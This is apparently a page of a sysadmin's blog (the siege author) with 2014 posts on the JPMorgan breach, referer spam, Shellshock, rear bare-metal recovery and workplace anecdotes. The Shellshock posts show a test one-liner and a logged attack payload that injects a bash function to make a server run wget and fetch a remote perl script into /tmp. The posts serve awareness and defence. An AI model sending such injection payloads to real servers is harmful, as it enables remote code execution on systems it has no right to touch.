The Cyberattack on JPMorgan Chase

From today’s New York Times:

“It was a huge surprise that they were able to compromise a huge bank like JPMorgan,” said Al Pascual, a security analyst with Javelin Strategy and Research. “It scared the pants off many people.”

Honestly, this is only surprising to people who don’t work in large organizations. Large companies are filled with aging hardware kept alive beyond lifecycle. These servers host applications that are too important to kill but not important enough to port to newer architecture. Your JoeDog has seen servers that nobody owns. “What’s that do?” I don’t know. The guy who administered it retired five years ago.

The easiest way to circumvent millions of dollars in network security devices is with malware. Let’s say — and why not? — there’s a 0.001 chance that somebody falls for malware click bait. If your company has 100 employees, chances are less that 1 you’ll be malwared. But in a company of 10,000 people, ten mother fsckers are going to click that link.

Large corporations have been instrumental in driving down programming costs. While they may have a few senior developers on staff, most of the grunt work takes place overseas. Now Your JoeDog is not disparaging overseas developers. There are many fine programmers the world over. And the good ones all cost the same: lots o’ money. Large corporations don’t want those guys. They can find them in the US. They want cheap ones.

True story: Your JoeDog was kept abreast of the details of an outsourcing operation. When the initial quotes came back from India, there was much surprise. “This isn’t going to work, you guys cost more than our own people.” Well, the Indians said, we have another team in Bumfsck, India. They cost one-fifth as much as the Bangalore team. “Really? We’ll take it.”

The breach at JPMorgan Chase came in through the web servers. We don’t know where that was coded but Your JoeDog has his hunch. At some point a decision maker at JPMorgan was quoted the cost of Bumfsck coders and said, “Really? We’ll take it.”




Posted in Security | Leave a comment

Referer Spammers

The Internets are full of spam. Maybe you’ve noticed?

It’s in your inbox, in your comments and scattered throughout your web forums. Every spammer is a bag of dicks but the worst bottom feeder on the Internets is the referer spammer.

If you’ve never administered a website, then you’ve probably never heard of referer spam. Yeah, what is that?  Glad you asked. These dregs send requests to your web site with a fabricated referer that points to a site they want to advertise. Ideally, they’ll send requests to a site that publishes its traffic reports. When their URL makes the report, they get a free link back to their site.

Sites that publish their usage reports are easy to find. Put this in the Google Machine and see what pops up: “Top * Total Search Strings” This is what we’re looking for: Usage Stats: Top Referers.  Your JoeDog can get himself on that report by doing this:

Bully $ siege -H "Referer:" -g
Accept: */*
User-Agent: Mozilla/5.0 (unknown-x86_64-linux-gnu) Siege/3.0.8
Connection: close
HTTP/1.1 200 OK
Date: Fri, 03 Oct 2014 17:53:38 GMT
Server: Apache
Connection: close
Content-Type: text/html

Now if he’s really intent on making that report, he’ll repeat that request a few hundred times and place himself at number two on the chart. But here’s the thing: Referer Spammers will spam your logs even if you don’t publish your reports. They’ll go to all that trouble just to lure webmasters to their esoteric fetish sites.

So what can you do to prevent this stuff? Mostly you can decrease their incentive.

  1. Put your usage stats inside a password protected area
  2. Add a robots.txt with a bot exclusion rule so search engines don’t index it.
  3. Add a nofollow directive inside every link, again so engines don’t index them

I guarantee you’ll still get the stuff. They’ll send faked referrals just to capture the attention of the site’s administrators but at least you won’t award them with a boost to their Page Rank.

NOTE: Yes, Your JoeDog spelled Referrer with only two r’s. Most humans use three. Phillip Hallam-Baker is not most humans. He was the first guy to miss an ‘r’ in the original HTTP specification. I say, “first guy” because hundreds of eyeballs viewed that document and none of them noticed the misspelling. By the time it became RFC1945, “Referer” was set in stone. It would have been easier to change the world’s English-language dictionaries at that point….

Posted in Apache, Applications, Security | Leave a comment

So Are You Vulnerable To Shell-shock?

Here’s a quick command line test to see if you’re vulnerable to shell-shock, the bash vulnerability that everyone — I mean everyone — is talking about:

$ env x='() { :;}; echo 1. env' bash -c "echo 2. bash"

If your bash is vulnerable, it will execute the echo command inside the environment, if it’s not vulnerable, then it will only execute the stuff after -c

A vulnerable system prints this:

$ env x='() { :;}; echo 1. env' bash -c "echo 2. bash"
1. env
2. bash

A non-vulnerable system prints this:

$ env x='() { :;}; echo 1. env' bash -c "echo 2. bash"
2. bash

On the vulnerable system, the echo command that is set in the environment is executed by bash when the shell is invoked:

env x='() { :;}; echo 1. env' bash -c "echo 2. bash"

The stuff in red should NOT be executed. That’s a bug; it needs to be fixed.

NOTE: The second command was run on the server that hosts this blog entry. You guys can quit trying, mmmkay?


Posted in Applications, Security, sh | Leave a comment

Siege 3.x.x On Ubuntu

Your JoeDog uses Ubuntu Linux on his laptop. A few years ago he was deep in siege development and he was caught without a working copy. “I wonder if … ” Your JoeDog thought, “I wonder if Ubuntu has it.” He ran ‘sudo apt-get install siege’ and there it was, ready for installation. The Big Boys were distributing his software and Your JoeDog was convinced that he was a Somebody.

If this happens to you, if a major vendor starts to distribute your software and you feel the need to tell people about it, take an opportunity to learn this lesson: nobody gives a shit. It’s a great feeling so you’ll probably ignore it. You’ll puff your chest and tell people, “Debian is distributing my software!” Instead of a pat on the back, you’ll hear “What’s Debian?” You’ll tell them and they’ll quickly change the subject. Trust the JoeDog on this one: nobody gives a shit. Your wife might give you a poorly acted, “That’s great, honey.” but at the end of the day, your software project excites people as much as your fantasy football team.

Now turn the clock up a few years. Yesterday Your JoeDog had an encounter with a with a compromised Mormon dating site. He wanted to see what software they were running so he ran ‘siege -g’ on his snazzy new System76 laptop. Turns out he didn’t have a copy. But wait a second: Ubuntu distributes siege, remember?

“What’s Ubuntu?” – See, I told you nobody cares.

When he went to run that command with Ubuntu’s siege he got this message: ‘siege: error while loading shared libraries: No such file or directory’

In recent days, our log aggregator has been telling us that many of you are googling ‘ubuntu siege libssl’ and it suddenly became clear why you were doing that. This nerdblogger decided to investigate the cause and document it here. As a diligent nerdblogger, he uninstalled siege in order to document the the problem from scratch. Funny thing. When he ran siege after the second install in order to capture the error message, there was no error message. Siege worked.

At this point all that is known is this:

  1. There appears to be a problem with siege on Ubuntu
  2. Here’s the error message: No such file of directory’
  3. was installed on the laptop in which this error was encountered
  4. After removing siege with ‘sudo apt-get remove siege’ and
  5. Reinstalling it with ‘sudo apt-get install siege’
  6. It worked.
  7. Your mileage will vary. If the problem persists you should post to the Ubuntu forums 




Posted in Uncategorized | Leave a comment


I don’t know about you, but Your JoeDog is shell shocked. His logs are filled with stuff like this: – – [25/Sep/2014:16:42:37 -0400] “GET /cgi-sys/defaultwebpage.cgi HTTP/1.1″ 301 – “-” “() { :;}; /bin/bash -c \”/usr/bin/wget -O /tmp/\””

So what’s happening here? Basically, some asshole is trying to exploit last week’s widely publicized bash shell vulnerability to invoke wget and pull down a perl script named “”

First of all, Your JoeDog hates scripts with an extension to designate the language in which they were coded. The person running the script doesn’t care what language it runs under. The computer will read the sh-bang line (#!/bin/perl) and call the appropriate interpreter. What’s the point of adding .pl? When you attack JoeDog’s computers please do so without a file extension, mmmmkay?

Second of all, he’s not going to find wget. On Your JoeDog’s computer it was installed in /bin/wget. But don’t bother trying to invoke it from there either. In accordance with best practice, it was moved it to a non-standard location. (You should do that, too.)

So while many of us are annoyed with this vulnerability, security firms and tech news companies are peeing themselves with excitement.

Dice tells us about ThreatStream, a cyber intelligence firm who’ve released ShockPot, a shell-shock honey pot. You can set it up on an publicly accessible server and watch knuckleheads try to ‘sploit you. Sounds like somebody needs a hobby.

Dice downloaded the software package and set it up on Linode, a Linux hosting site. Within a few days, they were shell-shocked seven times. Instead of wasting their time with honey pots, they could come over here and tail Your JoeDog’s logs. He was attacked 18 times in the last eight hours.

NOTE: The script they tried to pull was hosted on, a Mormon dating site located in Utah. Your JoeDog attempted to snag that file for examination and they blocked his request.

HTTP request sent, awaiting response... 403 Forbidden

Props to all the single Mormon nerds who helped fix that issue in a timely fashion.



Posted in Community, Security | Leave a comment

Beer Makes You Smarter

Many of you are programmers which means you drink coffee. After all, what is a programmer but a device that turns caffeine into code? After a long day of coding nothing takes the edge off like a nice cool beer. I’ll bet many of you drink that beverage, too. Hey, look! Important beer news from the Pacific Northwest

Researchers at Oregon State University discovered that doses of xanthohumol, a flavonoid found in hops, improved memory and thinking in a lucky group of mice.

If beer makes you smarter, then we’ll be even better programmers amirite?

it would require drinking 2,000 liters of beer a day (or 5,636 bottles of beer) to ingest the amount of xanthohumol used in the study.

The first fifty-six-hundred go down easy, it’s those last few that require a little extra effort….



Posted in Community | Leave a comment

The Times Discovers Bayesian Statistics

From the Article:

A famously counterintuitive puzzle that lends itself to a Bayesian approach is the Monty Hall problem, in which Mr. Hall, longtime host of the game show “Let’s Make a Deal,” hides a car behind one of three doors and a goat behind each of the other two. The contestant picks Door No. 1, but before opening it, Mr. Hall opens Door No. 2 to reveal a goat. Should the contestant stick with No. 1 or switch to No. 3, or does it matter?

A Bayesian calculation would start with one-third odds that any given door hides the car, then update that knowledge with the new data: Door No. 2 had a goat. The odds that the contestant guessed right — that the car is behind No. 1 — remain one in three. Thus, the odds that she guessed wrong are two in three. And if she guessed wrong, the car must be behind Door No. 3. So she should indeed switch.

[NY Times: The Odds, Continually Updated]


Posted in Tech Media | Leave a comment

Rear Recovery Onto Different Hardware

Your JoeDog still likes rear.

He uses it for bare metal recovery and system cloning. Recently he had to clone one server onto older hardware as part of a disaster recovery exercise. It was problematic.

Problem one: The rear recovery disk could not connect to the network.

This system had bonded NICs and Your JoeDog started to suspect they were causing an issue. When the recovery disk booted, he brought down all the network interfaces and tried to assign a new address to the server. The routing table looked fine. The eth0 config looked fine, but the network was unreachable.

Acting on a hunch that bonded NICs were giving him fits, Your JoeDog did a recursive grep of the rear directory …

… wait a minute, what’s a recursive grep?
You can do it like this:

$ find /usr/share/rear -print | xargs egrep -i bond

Cool, thanks …

Anyway, as a result of that search, he found this feature: SIMPLIFY_BONDING With a little more digging, he discovered that it takes ‘y’ or ‘n’ so Your JoeDog set it to y and re-archived the server. He added that directive to local.conf


When the server booted from the new recovery disk, the only network interface was eth0. Your JoeDog reset that address with ifconfig and he was able to clone the server from his rear archive. SUCCESS!!!!

Problem two: No success! After the rear recovery, the kernel panic’d and the server wouldn’t boot. Unhappy sad time. 

Your JoeDog was all, “Hmmm I’ll bet I need to rebuild the kernel for new hardware….”

So he restored again from rear. This time, when the recovery was complete, he chroot’d the mount point and rebuilt the kernel.

… wait a minute! How do you do that?
Glad you asked. Here’s my command history:

$ chroot /mnt/local
$ export PATH=/sbin:/bin:/usr/sbin:/usr/bin
$ cd /boot
$ mkinitrd -f -v initrd-2.6.32-431.20.3.el6.x86_64kdump.img \

NOTE: Whatever you call the kernel, i.e., whatever you use for the second argument of mkinitrd, make sure you have a directory by the same name in /lib/modules, i.e., /lib/modules/2.6.32-431.20.3.el6.x86_64

DOUBLE NOTE: Once you’re inside /boot, do an ls to find available kernel images. They’ll begin with initrd- and end in .img

Now get yourself some rear.


Posted in Applications, Rear | Leave a comment

Dunning–Kruger Effect

the dumbest man on the internetsYour JoeDog once worked with a programmer who couldn’t program. Now you’re probably thinking, isn’t programming an important qualification for that position? Not in a large corporation. To succeed in that environment, you need buzzwords and cliches. If you have them, managers just  assume you know what you’re talking about.

This particular non-programmer — or Ouch! as we liked to call him — was hired to build a Intranet site. It took him a year and a half to construct something that looked like your eight-year old nephew slapped together in a weekend. It was slow, poorly marked-up but at least it had a confusing layout and design.  Ouch had a parry for its shortcomings: Microsoft. “IE is a horrible web browser. It violates standards and ActiveX has a mind of its own.”

An appropriate response would have been, “If that’s true, how come all these non-Ouch sites look fine and work well in IE?” Instead, he received an award.

Because Ouch could steal someone else’s files and alter their markup to render the company’s text and images, we concede that he had some skill.  Armed with a comprehensive understanding of his craft, Ouch would have also known: 1.) How to work around a browser’s weaknesses by 2.) Stealing  the javascript, too, as it probably fixed those weaknesses but then he would have known too much and realized 3.) He was in the wrong profession.

While Ouch was laboring over his Intranet and ankle-deep in Cold Fusion, we were building an enterprise site with J2EE. And while Ouch didn’t know much, he did know this: in nerd hierarchy, Cold Fusion falls way below java.

So Ouch told everyone — and I mean everyone, his peers, his managers, the cleaning crew that he should be programming in java. To prove his point, he got the java logo tattooed on his bicep … which he showed to everyone.

Here’s the thing: Ouch wasn’t smart enough to know he couldn’t program in java. And management wasn’t smart enough to know he couldn’t program in java. The next thing you know, Ouch was stealing O’Reilly code — including the copyright notice — and attempting to implement the usecase. As far as I can tell, in one year in that position he didn’t release a thing that wasn’t immediately rewritten by somebody else.

Eventually Ouch was sacked but not for incompetence, he called his immediate supervisor the c-word. Management never considered him anything but a fine programmer. The buzzwords he used matched the ones they read in trade rags. How could he be anything but brilliant?

I didn’t realize it at the time but Ouch and the managers who considered him competent all suffered from the Dunning–Kruger Effect.


Posted in On The Job, Programming | 1 Comment


Wired provides an interesting angle on the bash shell bug that has all your panties in a bind

[Brian] Fox drove those tapes to California and went back to work on Bash, other engineers started using the software and even helped build it. And as UNIX gave rise to GNU and Linux—the OS that drives so much of the modern internet—Bash found its way onto tens of thousands of machines. But somewhere along the way, in about 1992, one engineer typed a bug into the code. Last week, more then twenty years later, security researchers finally noticed this flaw in Fox’s ancient program. They called it Shellshock, and they warned it could allow hackers to wreak havoc on the modern internet.

[Wired: The Internet Is Broken]


Posted in Applications, Programming, sh | Leave a comment

Recent Comments

  • Jeff Fulmer: I love that there’s an end bracket surround by a sea of comments. That really aids its...
  • Tim: The more I read that code – the more wtf it becomes. Its a work of beauty that you appreciate the longer...
  • Mike: I just now saw you know DK effect already. Whoops.
  • Mike: “he lacks the skill to recognize his ineptitude” I believe it’s recognized as the...
  • Mirko: Wow! This trick saved my day :) thanks a lot